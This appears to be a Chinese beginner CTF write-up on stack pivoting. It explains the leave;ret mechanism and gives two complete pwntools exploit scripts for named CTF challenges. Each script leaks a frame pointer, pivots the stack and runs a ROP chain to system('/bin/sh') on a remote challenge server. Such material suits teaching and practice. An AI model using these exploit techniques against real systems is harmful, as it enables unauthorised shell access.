PWN入门-栈迁移

基本原理

在正常栈溢出时,需要设计ebp和Return Address俩。ebp篡改为需要将栈迁移到的地址-4,Return Address需要篡改为某个含leave;retn;的ROPgadget。

实际运行时,先运行原先的leave;retn;mov esp,ebp;时esp指向被篡改的ebp;pop ebp;将篡改的地址放入ebp,且esp上移,指向被篡改的Return Address;pop eip;将ROPgadget的地址放入eip,篡改执行流。

在进入ROPgadget后,再次执行leave;retn;mov esp,ebp时将迁移地址-4移入esp,栈顶指针被劫持,发生栈迁移;pop ebp;时ebp仍为迁移地址-4,但esp拉高4字节,指向迁移地址;pop eip时迁移地址移入eip,成功篡改执行流。

做题

[HDCTF 2023]KEEP ON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.anna.nssctf.cn",28107)
elf=ELF("./attachment")
rop=ROP(elf)

p.recvuntil("please show me your name: \n")
payload1=b'%16$p'
p.send(payload1) #动调找rbp在格式化字符串中偏移为16
p.recvuntil("hello,0x")
old_rbp=int(p.recv(12),16)

stack_target=old_rbp-0x60-0x8 #找个合适的地址迁移 read了0x60个字节 再-8
pop_rdi_ret_addr=p64(rop.find_gadget(['pop rdi','ret'])[0]) #offset=0x8
str_bin_sh_addr=p64(stack_target+0x8+0x18) #offset=0x8+0x8
system_addr=elf.plt["system"] #offset=0x8+0x10
str_bin_sh=b'/bin/sh\x00' #offset=0x8+0x18
payload2=flat([pop_rdi_ret_addr,str_bin_sh_addr,system_addr,str_bin_sh])
payload2=payload2.ljust(0x50,b'a')
leave_ret_addr=p64(rop.find_gadget(["leave","ret"])[0])
payload2+=flat([stack_target,leave_ret_addr])
p.recvuntil("keep on !\n")
p.sendline(payload2)
p.interactive()

[CISCN 2019东南]PWN2

只能溢出8字节,覆盖ebp和返回地址。这里尝试在第一次输入带出leave后的下一个ebp地址,即main的ebp地址,动调发现main和vul的ebp差了0x10字节,vul的ebp与esp又差了0x28字节。其中leave等于mov esp,ebp;pop ebp;retn等于pop eip。在vul最后的leave;retn;时,篡改ebp位置,使ebp被pop后提高到原esp处在的低地址,esp自然下落,并赋值eip,开始第二次leave;retn;。第二次时,esp被推到ebp相同位置,然后esp下落,ebp跑到aaaa填充当作地址处,eip进入``call _system;`地址,当然还得先垫一下。参数地址后面存放shll字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(log_level='debug',os='linux',arch='i386')
# p=process("./attachment")
p=remote("node5.anna.nssctf.cn",23604)
elf=ELF("./attachment")
rop=ROP(elf)
stack_overflow1=cyclic(0x28)
payload1=flat([stack_overflow1])
p.send(payload1)
p.recvuntil(payload1)
pre_ebp=u32(p.recv(4))
log.success(hex(pre_ebp))
ebp_padding=cyclic(0x4)
ret_addr=p32(rop.find_gadget(["ret"])[0])
system_addr=p32(0x08048559) #不是system的PLT 而是call system的地址
target_addr=pre_ebp-0x10-0x28
target_addr_with_offset=p32(target_addr+16)
bin_sh_str=b"/bin/sh\x00"
payload2=flat([ebp_padding,ret_addr,system_addr,target_addr_with_offset,bin_sh_str])
payload2=payload2.ljust(0x28,b'a')
target_addr_bytes=p32(target_addr)
leave_ret_addr=p32(0x08048562) #得手动找leave;retn的gadget ROPgadget只会找leave;rep retn;
log.success(leave_ret_addr)
payload2+=flat([target_addr_bytes,leave_ret_addr])
p.send(payload2)
p.interactive()